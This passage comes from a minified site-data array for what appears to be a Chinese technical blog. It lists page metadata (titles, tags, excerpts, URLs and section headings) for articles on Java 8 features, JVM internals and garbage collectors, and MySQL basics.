g:"_3-如何理解注解"},{level:3,title:"4.关于注解",slug:"_4-关于注解"},{level:3,title:"5.注解分为三个阶段",slug:"_5-注解分为三个阶段"},{level:3,title:"6.注解的属性类型",slug:"_6-注解的属性类型"},{level:3,title:"7.为注解增加属性",slug:"_7-为注解增加属性"},{level:2,title:"Java8中的注解",slug:"java8中的注解"},{level:3,title:"1.类型注解",slug:"_1-类型注解"},{level:3,title:"2.重复注解",slug:"_2-重复注解"},{level:2,title:"Java8对注解的增强",slug:"java8对注解的增强"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"Java8新特性总结",frontmatter:{layout:"post",category:"binghe-code-life",title:"Java8新特性总结",tagline:"by 冰河",tag:["java8","binghe-code-java8"],excerpt:"说实话,肝这篇文章花了我一个月的时间,关于Java8的新特性全在这儿了,建议先收藏后阅读。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"Java8新特性总结"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/java/java8/2022-04-01-001-Java8%E6%96%B0%E7%89%B9%E6%80%A7%E6%80%BB%E7%BB%93.html"},{name:"twitter:title",content:"Java8新特性总结"},{name:"twitter:url",content:"/md/core/java/java8/2022-04-01-001-Java8%E6%96%B0%E7%89%B9%E6%80%A7%E6%80%BB%E7%BB%93.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/java/java8/2022-04-01-001-Java8%E6%96%B0%E7%89%B9%E6%80%A7%E6%80%BB%E7%BB%93.html",relativePath:"md/core/java/java8/2022-04-01-001-Java8新特性总结.md",key:"v-111f8a26",path:"/md/core/java/java8/2022-04-01-001-Java8%E6%96%B0%E7%89%B9%E6%80%A7%E6%80%BB%E7%BB%93.html",headers:[{level:2,title:"Java8有哪些新特性?",slug:"java8有哪些新特性"},{level:2,title:"Java8有哪些优点?",slug:"java8有哪些优点"},{level:2,title:"Lambda表达式",slug:"lambda表达式"},{level:3,title:"什么是Lambda表达式?",slug:"什么是lambda表达式"},{level:3,title:"匿名内部类",slug:"匿名内部类"},{level:3,title:"Lambda表达式",slug:"lambda表达式-2"},{level:3,title:"对比常规方法和Lambda表达式",slug:"对比常规方法和lambda表达式"},{level:3,title:"匿名类到Lambda表达式",slug:"匿名类到lambda表达式"},{level:3,title:"Lambda表达式的语法",slug:"lambda表达式的语法"},{level:3,title:"函数式接口",slug:"函数式接口"},{level:3,title:"Lambda表达式典型案例",slug:"lambda表达式典型案例"},{level:3,title:"案例一",slug:"案例一"},{level:3,title:"案例二",slug:"案例二"},{level:3,title:"案例三",slug:"案例三"},{level:2,title:"函数式接口总览",slug:"函数式接口总览"},{level:3,title:"四大核心函数式接口总览",slug:"四大核心函数式接口总览"},{level:3,title:"其他函数接口总览",slug:"其他函数接口总览"},{level:3,title:"四大核心函数式接口",slug:"四大核心函数式接口"},{level:3,title:"Consumer接口",slug:"consumer接口"},{level:3,title:"Supplier接口",slug:"supplier接口"},{level:3,title:"Function接口",slug:"function接口"},{level:3,title:"Predicate接口",slug:"predicate接口"},{level:2,title:"Java7与Java8中的HashMap",slug:"java7与java8中的hashmap"},{level:3,title:"JDK8 HashMap重排序",slug:"jdk8-hashmap重排序"},{level:2,title:"筛选与切片",slug:"筛选与切片"},{level:2,title:"中间操作",slug:"中间操作"},{level:2,title:"终止操作",slug:"终止操作"},{level:2,title:"归约",slug:"归约"},{level:2,title:"Optional 容器类",slug:"optional-容器类"},{level:2,title:"方法引用与构造器引用",slug:"方法引用与构造器引用"},{level:3,title:"方法引用",slug:"方法引用"},{level:3,title:"构造器引用",slug:"构造器引用"},{level:3,title:"数组引用",slug:"数组引用"},{level:2,title:"Java8中的Stream",slug:"java8中的stream"},{level:3,title:"什么是Stream?",slug:"什么是stream"},{level:3,title:"Stream操作的三个步骤",slug:"stream操作的三个步骤"},{level:3,title:"如何创建Stream?",slug:"如何创建stream"},{level:3,title:"Stream的中间操作",slug:"stream的中间操作"},{level:3,title:"Stream 的终止操作",slug:"stream-的终止操作"},{level:3,title:"并行流与串行流",slug:"并行流与串行流"},{level:3,title:"Fork/Join 框架",slug:"fork-join-框架"},{level:3,title:"Stream概述",slug:"stream概述"},{level:3,title:"何为Stream?",slug:"何为stream"},{level:3,title:"Stream操作步骤",slug:"stream操作步骤"},{level:3,title:"如何创建Stream流?",slug:"如何创建stream流"},{level:3,title:"Stream的中间操作",slug:"stream的中间操作-2"},{level:3,title:"筛选与切片",slug:"筛选与切片-2"},{level:3,title:"映射",slug:"映射"},{level:3,title:"排序",slug:"排序"},{level:3,title:"Stream的终止操作",slug:"stream的终止操作"},{level:3,title:"查找与匹配",slug:"查找与匹配"},{level:3,title:"规约",slug:"规约"},{level:3,title:"收集",slug:"收集"},{level:3,title:"如何收集Stream流?",slug:"如何收集stream流"},{level:3,title:"什么是并行流?",slug:"什么是并行流"},{level:3,title:"Fork/Join 框架",slug:"fork-join-框架-2"},{level:3,title:"Fork/Join 框架与传统线程池有啥区别?",slug:"fork-join-框架与传统线程池有啥区别"},{level:3,title:"Fork/Join框架实例",slug:"fork-join框架实例"},{level:3,title:"Java8中的并行流实例",slug:"java8中的并行流实例"},{level:2,title:"Optional类",slug:"optional类"},{level:3,title:"什么是Optional类?",slug:"什么是optional类"},{level:3,title:"Optional类示例",slug:"optional类示例"},{level:2,title:"默认方法",slug:"默认方法"},{level:3,title:"接口中的默认方法",slug:"接口中的默认方法"},{level:3,title:"默认方法的原则",slug:"默认方法的原则"},{level:3,title:"接口中的静态方法",slug:"接口中的静态方法"},{level:2,title:"本地时间和时间戳",slug:"本地时间和时间戳"},{level:3,title:"使用 LocalDate、 LocalTime、 LocalDateTime",slug:"使用-localdate、-localtime、-localdatetime"},{level:3,title:"Instant 时间戳",slug:"instant-时间戳"},{level:3,title:"Duration 和 Period",slug:"duration-和-period"},{level:3,title:"日期的操纵",slug:"日期的操纵"},{level:3,title:"解析与格式化",slug:"解析与格式化"},{level:3,title:"时区的处理",slug:"时区的处理"},{level:3,title:"与传统日期处理的转换",slug:"与传统日期处理的转换"},{level:2,title:"JDK注解",slug:"jdk注解"},{level:3,title:"JDK5中的注解",slug:"jdk5中的注解"},{level:3,title:"Java8中的注解",slug:"java8中的注解"},{level:3,title:"Java8对注解的增强",slug:"java8对注解的增强"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"关于我",frontmatter:{meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"关于我"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/java/senior/default.html"},{name:"twitter:title",content:"关于我"},{name:"twitter:url",content:"/md/core/java/senior/default.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/java/senior/default.html",relativePath:"md/core/java/senior/default.md",key:"v-28a66745",path:"/md/core/java/senior/default.html",lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"JVM调优的几种场景",frontmatter:{layout:"post",category:"binghe-code-jvm",title:"JVM调优的几种场景",tagline:"by 冰河",tag:["jvm","binghe-code-jvm"],excerpt:"最近很多小伙伴跟我说,自己学了不少JVM的调优知识,但是在实际工作中却不知道何时对JVM进行调优。今天,冰河就为大家介绍几种JVM调优的场景。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"JVM调优的几种场景"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/jvm/2022-04-18-001-JVM%E8%B0%83%E4%BC%98%E7%9A%84%E5%87%A0%E7%A7%8D%E5%9C%BA%E6%99%AF.html"},{name:"twitter:title",content:"JVM调优的几种场景"},{name:"twitter:url",content:"/md/core/jvm/2022-04-18-001-JVM%E8%B0%83%E4%BC%98%E7%9A%84%E5%87%A0%E7%A7%8D%E5%9C%BA%E6%99%AF.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/jvm/2022-04-18-001-JVM%E8%B0%83%E4%BC%98%E7%9A%84%E5%87%A0%E7%A7%8D%E5%9C%BA%E6%99%AF.html",relativePath:"md/core/jvm/2022-04-18-001-JVM调优的几种场景.md",key:"v-bbb072c2",path:"/md/core/jvm/2022-04-18-001-JVM%E8%B0%83%E4%BC%98%E7%9A%84%E5%87%A0%E7%A7%8D%E5%9C%BA%E6%99%AF.html",headers:[{level:2,title:"cpu占用过高",slug:"cpu占用过高"},{level:2,title:"死锁",slug:"死锁"},{level:2,title:"内存泄漏",slug:"内存泄漏"},{level:2,title:"总结",slug:"总结"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"类的编译、编译优化、常量这地、泛型擦除、条件编译",frontmatter:{layout:"post",category:"binghe-code-jvm",title:"类的编译、编译优化、常量这地、泛型擦除、条件编译",tagline:"by 冰河",tag:["jvm","binghe-code-jvm"],excerpt:"今天,我们一起研究下JVM中类的编译问题,好了,不多说了,进入今天的正题。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"类的编译、编译优化、常量这地、泛型擦除、条件编译"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/jvm/2022-04-18-002-%E7%B1%BB%E7%9A%84%E7%BC%96%E8%AF%91.html"},{name:"twitter:title",content:"类的编译、编译优化、常量这地、泛型擦除、条件编译"},{name:"twitter:url",content:"/md/core/jvm/2022-04-18-002-%E7%B1%BB%E7%9A%84%E7%BC%96%E8%AF%91.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/jvm/2022-04-18-002-%E7%B1%BB%E7%9A%84%E7%BC%96%E8%AF%91.html",relativePath:"md/core/jvm/2022-04-18-002-类的编译.md",key:"v-3bb97eee",path:"/md/core/jvm/2022-04-18-002-%E7%B1%BB%E7%9A%84%E7%BC%96%E8%AF%91.html",headers:[{level:2,title:"编译",slug:"编译"},{level:2,title:"编译优化",slug:"编译优化"},{level:3,title:"常量折叠",slug:"常量折叠"},{level:3,title:"泛型的擦除",slug:"泛型的擦除"},{level:3,title:"自动装箱、拆箱与循环遍历",slug:"自动装箱、拆箱与循环遍历"},{level:3,title:"条件编译",slug:"条件编译"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"类的加载过程",frontmatter:{layout:"post",category:"binghe-code-jvm",title:"类的加载过程",tagline:"by 冰河",tag:["jvm","binghe-code-jvm"],excerpt:"首先,小伙伴们有没有想过这样一个问题呢:Java字节码文件是如何加载到JVM的呢?",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"类的加载过程"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/jvm/2022-04-18-003-%E7%B1%BB%E7%9A%84%E5%8A%A0%E8%BD%BD%E8%BF%87%E7%A8%8B.html"},{name:"twitter:title",content:"类的加载过程"},{name:"twitter:url",content:"/md/core/jvm/2022-04-18-003-%E7%B1%BB%E7%9A%84%E5%8A%A0%E8%BD%BD%E8%BF%87%E7%A8%8B.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/jvm/2022-04-18-003-%E7%B1%BB%E7%9A%84%E5%8A%A0%E8%BD%BD%E8%BF%87%E7%A8%8B.html",relativePath:"md/core/jvm/2022-04-18-003-类的加载过程.md",key:"v-45d8e7d0",path:"/md/core/jvm/2022-04-18-003-%E7%B1%BB%E7%9A%84%E5%8A%A0%E8%BD%BD%E8%BF%87%E7%A8%8B.html",headers:[{level:2,title:"类加载",slug:"类加载"},{level:3,title:"加载",slug:"加载"},{level:3,title:"验证",slug:"验证"},{level:3,title:"准备",slug:"准备"},{level:3,title:"解析",slug:"解析"},{level:3,title:"初始化",slug:"初始化"},{level:2,title:"类加载器",slug:"类加载器"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"JVM内存空间",frontmatter:{layout:"post",category:"binghe-code-jvm",title:"JVM内存空间",tagline:"by 冰河",tag:["jvm","binghe-code-jvm"],excerpt:"jvm会把内存划分成不同的数据区域,那加载的类是分配到哪里呢?下图是内存的各个区域,包括:方法区、堆、虚拟机栈、本地方法栈、程序计数器。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"JVM内存空间"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/jvm/2022-04-18-004-JVM%E5%86%85%E5%AD%98%E7%A9%BA%E9%97%B4.html"},{name:"twitter:title",content:"JVM内存空间"},{name:"twitter:url",content:"/md/core/jvm/2022-04-18-004-JVM%E5%86%85%E5%AD%98%E7%A9%BA%E9%97%B4.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/jvm/2022-04-18-004-JVM%E5%86%85%E5%AD%98%E7%A9%BA%E9%97%B4.html",relativePath:"md/core/jvm/2022-04-18-004-JVM内存空间.md",key:"v-57322474",path:"/md/core/jvm/2022-04-18-004-JVM%E5%86%85%E5%AD%98%E7%A9%BA%E9%97%B4.html",headers:[{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"JVM堆内存分配机制",frontmatter:{layout:"post",category:"binghe-code-jvm",title:"JVM堆内存分配机制",tagline:"by 冰河",tag:["jvm","binghe-code-jvm"],excerpt:"堆内存分为新生代和老年代,新生代是用于存放使用后准备被回收的对象,老年代是用于存放生命周期比较长的对象。大部分我们创建的对象,都属于生命周期比较短的,所以会存放在新生代。新生代又细分Eden空间、From Survivor空间、To Survivor空间,我们创建的对象,对象优先在Eden分配。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"JVM堆内存分配机制"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/jvm/2022-04-18-005-JVM%E5%A0%86%E5%86%85%E5%AD%98%E5%88%86%E9%85%8D.html"},{name:"twitter:title",content:"JVM堆内存分配机制"},{name:"twitter:url",content:"/md/core/jvm/2022-04-18-005-JVM%E5%A0%86%E5%86%85%E5%AD%98%E5%88%86%E9%85%8D.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/jvm/2022-04-18-005-JVM%E5%A0%86%E5%86%85%E5%AD%98%E5%88%86%E9%85%8D.html",relativePath:"md/core/jvm/2022-04-18-005-JVM堆内存分配.md",key:"v-7f325c22",path:"/md/core/jvm/2022-04-18-005-JVM%E5%A0%86%E5%86%85%E5%AD%98%E5%88%86%E9%85%8D.html",headers:[{level:2,title:"对象优先在Eden分配",slug:"对象优先在eden分配"},{level:2,title:"大对象直接进入老年代",slug:"大对象直接进入老年代"},{level:2,title:"长期存活的对象将进入老年代",slug:"长期存活的对象将进入老年代"},{level:2,title:"动态年龄判断",slug:"动态年龄判断"},{level:2,title:"空间分配担保",slug:"空间分配担保"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"JVM垃圾回收机制",frontmatter:{layout:"post",category:"binghe-code-jvm",title:"JVM垃圾回收机制",tagline:"by 冰河",tag:["jvm","binghe-code-jvm"],excerpt:"当我们调用一个方法的时候,就会创建这个方法的栈帧,当方法调用结束的时候,这个栈帧出栈,栈帧所占用的内存也随之释放。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"JVM垃圾回收机制"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/jvm/2022-04-18-006-JVM%E5%9E%83%E5%9C%BE%E5%9B%9E%E6%94%B6%E6%9C%BA%E5%88%B6.html"},{name:"twitter:title",content:"JVM垃圾回收机制"},{name:"twitter:url",content:"/md/core/jvm/2022-04-18-006-JVM%E5%9E%83%E5%9C%BE%E5%9B%9E%E6%94%B6%E6%9C%BA%E5%88%B6.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/jvm/2022-04-18-006-JVM%E5%9E%83%E5%9C%BE%E5%9B%9E%E6%94%B6%E6%9C%BA%E5%88%B6.html",relativePath:"md/core/jvm/2022-04-18-006-JVM垃圾回收机制.md",key:"v-22962a7b",path:"/md/core/jvm/2022-04-18-006-JVM%E5%9E%83%E5%9C%BE%E5%9B%9E%E6%94%B6%E6%9C%BA%E5%88%B6.html",headers:[{level:2,title:"可达性分析算法",slug:"可达性分析算法"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"JVM垃圾回收算法",frontmatter:{layout:"post",category:"binghe-code-jvm",title:"JVM垃圾回收算法",tagline:"by 冰河",tag:["jvm","binghe-code-jvm"],excerpt:"标记-清除算法就是,先标记哪些对象是存活的,哪些对象是可以回收的,然后再把标记为可回收的对象清除掉。从下面的图可以看到,回收后,产生了大量的不连续的内存碎片,如果这个时候,有一个比较大的对象进来,却没有一个连续的内存空间给他使用,又会触发一次垃圾收集动作。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"JVM垃圾回收算法"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/jvm/2022-04-18-007-JVM%E5%9E%83%E5%9C%BE%E5%9B%9E%E6%94%B6%E7%AE%97%E6%B3%95.html"},{name:"twitter:title",content:"JVM垃圾回收算法"},{name:"twitter:url",content:"/md/core/jvm/2022-04-18-007-JVM%E5%9E%83%E5%9C%BE%E5%9B%9E%E6%94%B6%E7%AE%97%E6%B3%95.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/jvm/2022-04-18-007-JVM%E5%9E%83%E5%9C%BE%E5%9B%9E%E6%94%B6%E7%AE%97%E6%B3%95.html",relativePath:"md/core/jvm/2022-04-18-007-JVM垃圾回收算法.md",key:"v-4f5dd6b6",path:"/md/core/jvm/2022-04-18-007-JVM%E5%9E%83%E5%9C%BE%E5%9B%9E%E6%94%B6%E7%AE%97%E6%B3%95.html",headers:[{level:2,title:"标记-清除",slug:"标记-清除"},{level:2,title:"复制算法",slug:"复制算法"},{level:2,title:"标记-整理",slug:"标记-整理"},{level:2,title:"性能与优化",slug:"性能与优化"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"CMS垃圾收集器",frontmatter:{layout:"post",category:"binghe-code-jvm",title:"CMS垃圾收集器",tagline:"by 冰河",tag:["jvm","binghe-code-jvm"],excerpt:"今天,继续给大家分享关于JVM的文章,今天给大家带来的是一篇关于JVM CMS垃圾收集器的文章,好了,不多说了,进入今天的正题。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"CMS垃圾收集器"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/jvm/2022-04-18-008-JVM-CMS%E5%9E%83%E5%9C%BE%E6%94%B6%E9%9B%86%E5%99%A8.html"},{name:"twitter:title",content:"CMS垃圾收集器"},{name:"twitter:url",content:"/md/core/jvm/2022-04-18-008-JVM-CMS%E5%9E%83%E5%9C%BE%E6%94%B6%E9%9B%86%E5%99%A8.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/jvm/2022-04-18-008-JVM-CMS%E5%9E%83%E5%9C%BE%E6%94%B6%E9%9B%86%E5%99%A8.html",relativePath:"md/core/jvm/2022-04-18-008-JVM-CMS垃圾收集器.md",key:"v-2426679f",path:"/md/core/jvm/2022-04-18-008-JVM-CMS%E5%9E%83%E5%9C%BE%E6%94%B6%E9%9B%86%E5%99%A8.html",headers:[{level:2,title:"初始标记",slug:"初始标记"},{level:2,title:"并发标记",slug:"并发标记"},{level:2,title:"重新标记",slug:"重新标记"},{level:2,title:"并发清除",slug:"并发清除"},{level:2,title:"缺点",slug:"缺点"},{level:3,title:"CPU",slug:"cpu"},{level:3,title:"浮动垃圾",slug:"浮动垃圾"},{level:3,title:"空间碎片",slug:"空间碎片"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"G1收集器、Region、停顿时间模型、垃圾回收",frontmatter:{layout:"post",category:"binghe-code-jvm",title:"G1收集器、Region、停顿时间模型、垃圾回收",tagline:"by 冰河",tag:["jvm","binghe-code-jvm"],excerpt:"今天,我们继续学习JVM相关的知识,今天给大家分享一篇关于G1收集器的文章,好了,不多说了,直接进入正题。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"G1收集器、Region、停顿时间模型、垃圾回收"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/jvm/2022-04-18-009-JVM%20-G1%E6%94%B6%E9%9B%86%E5%99%A8-Region-%E5%81%9C%E9%A1%BF%E6%97%B6%E9%97%B4%E6%A8%A1%E5%9E%8B-%E5%9E%83%E5%9C%BE%E5%9B%9E%E6%94%B6.html"},{name:"twitter:title",content:"G1收集器、Region、停顿时间模型、垃圾回收"},{name:"twitter:url",content:"/md/core/jvm/2022-04-18-009-JVM%20-G1%E6%94%B6%E9%9B%86%E5%99%A8-Region-%E5%81%9C%E9%A1%BF%E6%97%B6%E9%97%B4%E6%A8%A1%E5%9E%8B-%E5%9E%83%E5%9C%BE%E5%9B%9E%E6%94%B6.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/jvm/2022-04-18-009-JVM%20-G1%E6%94%B6%E9%9B%86%E5%99%A8-Region-%E5%81%9C%E9%A1%BF%E6%97%B6%E9%97%B4%E6%A8%A1%E5%9E%8B-%E5%9E%83%E5%9C%BE%E5%9B%9E%E6%94%B6.html",relativePath:"md/core/jvm/2022-04-18-009-JVM -G1收集器-Region-停顿时间模型-垃圾回收.md",key:"v-f0577e44",path:"/md/core/jvm/2022-04-18-009-JVM%20-G1%E6%94%B6%E9%9B%86%E5%99%A8-Region-%E5%81%9C%E9%A1%BF%E6%97%B6%E9%97%B4%E6%A8%A1%E5%9E%8B-%E5%9E%83%E5%9C%BE%E5%9B%9E%E6%94%B6.html",headers:[{level:2,title:"Region",slug:"region"},{level:2,title:"停顿时间模型",slug:"停顿时间模型"},{level:2,title:"垃圾回收",slug:"垃圾回收"},{level:3,title:"新生代回收",slug:"新生代回收"},{level:3,title:"老年代回收",slug:"老年代回收"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"JVM 内存布局",frontmatter:{layout:"post",category:"binghe-code-jvm",title:"JVM 内存布局",tagline:"by 冰河",tag:["jvm","binghe-code-jvm"],excerpt:"本JVM系列属于本人学习过程当中总结的一些知识点,目的是想让读者更快地掌握JVM相关的知识要点,难免会有所侧重,若想要更加系统更加详细的学习JVM知识,还是需要去阅读专业的书籍和文档。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"JVM 内存布局"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/jvm/2022-04-18-010-JVM%E5%86%85%E5%AD%98%E5%B8%83%E5%B1%80.html"},{name:"twitter:title",content:"JVM 内存布局"},{name:"twitter:url",content:"/md/core/jvm/2022-04-18-010-JVM%E5%86%85%E5%AD%98%E5%B8%83%E5%B1%80.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/jvm/2022-04-18-010-JVM%E5%86%85%E5%AD%98%E5%B8%83%E5%B1%80.html",relativePath:"md/core/jvm/2022-04-18-010-JVM内存布局.md",key:"v-041a4266",path:"/md/core/jvm/2022-04-18-010-JVM%E5%86%85%E5%AD%98%E5%B8%83%E5%B1%80.html",headers:[{level:2,title:"概览",slug:"概览"},{level:2,title:"一、Heap (堆区)",slug:"一、heap-堆区"},{level:3,title:"1.1 堆区的介绍",slug:"_1-1-堆区的介绍"},{level:3,title:"1.2 堆区的调整",slug:"_1-2-堆区的调整"},{level:3,title:"1.3 堆的默认空间分配",slug:"_1-3-堆的默认空间分配"},{level:3,title:"1.4 堆溢出 演示",slug:"_1-4-堆溢出-演示"},{level:3,title:"创建一个新对象 内存分配流程",slug:"创建一个新对象-内存分配流程"},{level:2,title:"二、Metaspace 元空间",slug:"二、metaspace-元空间"},{level:2,title:"三、 Java 虚拟机栈",slug:"三、-java-虚拟机栈"},{level:3,title:"1. 局部变量表",slug:"_1-局部变量表"},{level:3,title:"2. 操作栈",slug:"_2-操作栈"},{level:3,title:"3. 动态连接",slug:"_3-动态连接"},{level:3,title:"4. 方法返回地址",slug:"_4-方法返回地址"},{level:2,title:"四、本地方法栈",slug:"四、本地方法栈"},{level:2,title:"五、程序计数器",slug:"五、程序计数器"},{level:2,title:"六、直接内存",slug:"六、直接内存"},{level:2,title:"Code Cache",slug:"code-cache"},{level:3,title:"诊断选项",slug:"诊断选项"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"第1章:开篇:专栏介绍",frontmatter:{layout:"post",category:"binghe-mysql-base",title:"第1章:开篇:专栏介绍",tagline:"by 冰河",tag:["mysql","binghe-mysql-base"],excerpt:"第1章:开篇:专栏介绍",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"第1章:开篇:专栏介绍"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/mysql/base/2022-07-09-%E3%80%8AMySQL%E6%A0%B8%E5%BF%83%E7%9F%A5%E8%AF%86%E3%80%8B%E7%AC%AC1%E7%AB%A0-%E5%BC%80%E7%AF%87-%E4%B8%93%E6%A0%8F%E4%BB%8B%E7%BB%8D.html"},{name:"twitter:title",content:"第1章:开篇:专栏介绍"},{name:"twitter:url",content:"/md/core/mysql/base/2022-07-09-%E3%80%8AMySQL%E6%A0%B8%E5%BF%83%E7%9F%A5%E8%AF%86%E3%80%8B%E7%AC%AC1%E7%AB%A0-%E5%BC%80%E7%AF%87-%E4%B8%93%E6%A0%8F%E4%BB%8B%E7%BB%8D.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/mysql/base/2022-07-09-%E3%80%8AMySQL%E6%A0%B8%E5%BF%83%E7%9F%A5%E8%AF%86%E3%80%8B%E7%AC%AC1%E7%AB%A0-%E5%BC%80%E7%AF%87-%E4%B8%93%E6%A0%8F%E4%BB%8B%E7%BB%8D.html",relativePath:"md/core/mysql/base/2022-07-09-《MySQL核心知识》第1章-开篇-专栏介绍.md",key:"v-12b6a3bb",path:"/md/core/mysql/base/2022-07-09-%E3%80%8AMySQL%E6%A0%B8%E5%BF%83%E7%9F%A5%E8%AF%86%E3%80%8B%E7%AC%AC1%E7%AB%A0-%E5%BC%80%E7%AF%87-%E4%B8%93%E6%A0%8F%E4%BB%8B%E7%BB%8D.html",headers:[{level:2,title:"为何要写MySQL核心",slug:"为何要写mysql核心"},{level:2,title:"你能学到什么?",slug:"你能学到什么"},{level:2,title:"一点点建议",slug:"一点点建议"},{level:2,title:"关于星球",slug:"关于星球"},{level:3,title:"星球提供的服务",slug:"星球提供的服务"},{level:3,title:"如何加入星球",slug:"如何加入星球"},{level:2,title:"写在最后",slug:"写在最后"},{level:2,title:"加群交流",slug:"加群交流"},{level:2,title:"公众号",slug:"公众号"},{level:2,title:"星球",slug:"星球"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"第2章:MySQL常用的命令",frontmatter:{layout:"post",category:"binghe-mysql-base",title:"第2章:MySQL常用的命令",tagline:"by 冰河",tag:["mysql","binghe-mysql-base"],excerpt:"第2章:MySQL常用的命令",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"第2章:MySQL常用的命令"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/mysql/base/2022-07-11-%E3%80%8AMySQL%E6%A0%B8%E5%BF%83%E7%9F%A5%E8%AF%86%E3%80%8B%E7%AC%AC2%E7%AB%A0-MySQL%E5%B8%B8%E7%94%A8%E7%9A%84%E5%91%BD%E4%BB%A4.html"},{name:"twitter:title",content:"第2章:MySQL常用的命令"},{name:"twitter:url",content:"/md/core/mysql/base/2022-07-11-%E3%80%8AMySQL%E6%A0%B8%E5%BF%83%E7%9F%A5%E8%AF%86%E3%80%8B%E7%AC%AC2%E7%AB%A0-MySQL%E5%B8%B8%E7%94%A8%E7%9A%84%E5%91%BD%E4%BB%A4.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/mysql/base/2022-07-11-%E3%80%8AMySQL%E6%A0%B8%E5%BF%83%E7%9F%A5%E8%AF%86%E3%80%8B%E7%AC%AC2%E7%AB%A0-MySQL%E5%B8%B8%E7%94%A8%E7%9A%84%E5%91%BD%E4%BB%A4.html",relativePath:"md/core/mysql/base/2022-07-11-《MySQL核心知识》第2章-MySQL常用的命令.md",key:"v-a40f9786",path:"/md/core/mysql/base/2022-07-11-%E3%80%8AMySQL%E6%A0%B8%E5%BF%83%E7%9F%A5%E8%AF%86%E3%80%8B%E7%AC%AC2%E7%AB%A0-MySQL%E5%B8%B8%E7%94%A8%E7%9A%84%E5%91%BD%E4%BB%A4.html",headers:[{level:2,title:"MySQL常用命令",slug:"mysql常用命令"},{level:2,title:"关于星球",slug:"关于星球"},{level:3,title:"星球提供的服务",slug:"星球提供的服务"},{level:3,title:"如何加入星球",slug:"如何加入星球"},{level:2,title:"写在最后",slug:"写在最后"},{level:2,title:"加群交流",slug:"